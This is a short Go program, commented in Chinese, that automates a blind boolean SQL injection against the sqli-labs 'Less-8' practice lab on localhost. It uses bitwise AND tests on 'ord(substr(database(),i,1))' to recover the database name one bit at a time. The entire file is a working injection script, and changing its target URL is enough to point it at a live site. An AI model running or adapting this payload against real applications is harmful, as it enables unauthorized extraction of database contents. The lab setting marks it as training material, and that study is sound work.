package main
import (
"fmt"
"io/ioutil"
"math"
"net/http"
"strings"
)
/*
golang 实现利用与运算 提高sql注入效率
*/
func main() {
var dbname string
for i := 1; i <= 8; i++ { // 8表示当前数据库字段的长度为8 需提前已知
var word int
for j := 0; j < 7; j++ { // 2的0到6次方足够
l1 := fmt.Sprintf("http://localhost/sqli-labs-master/Less-8/?id=1'+and+"+
"ord(substr(database(),%d,1))%%26%.f--+-", i, math.Pow(2, float64(j))) // 【sprintf %% 表示字面量的%】 【%.f 表示不保留小数点】
result := httpRequest(l1)
if strings.Contains(result, "You are in") { // 当 you are in 在返回包 说明true
word += int(math.Pow(2, float64(j))) // 把每个比特位加起来就是这个字符
}
}
fmt.Printf("第%d位字母是:-> %s\n", i, string(rune(word))) //打印第几位的字符
dbname += string(rune(word)) // 每个字符拼接到dbname
}
fmt.Printf("数据库名为: %s",dbname) //最终爆破的库名
}
func httpRequest(url string) (result string) {
resp, err := http.Get(url)
if err != nil {
fmt.Println("get err", err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("err")
return
}
return string(body)
}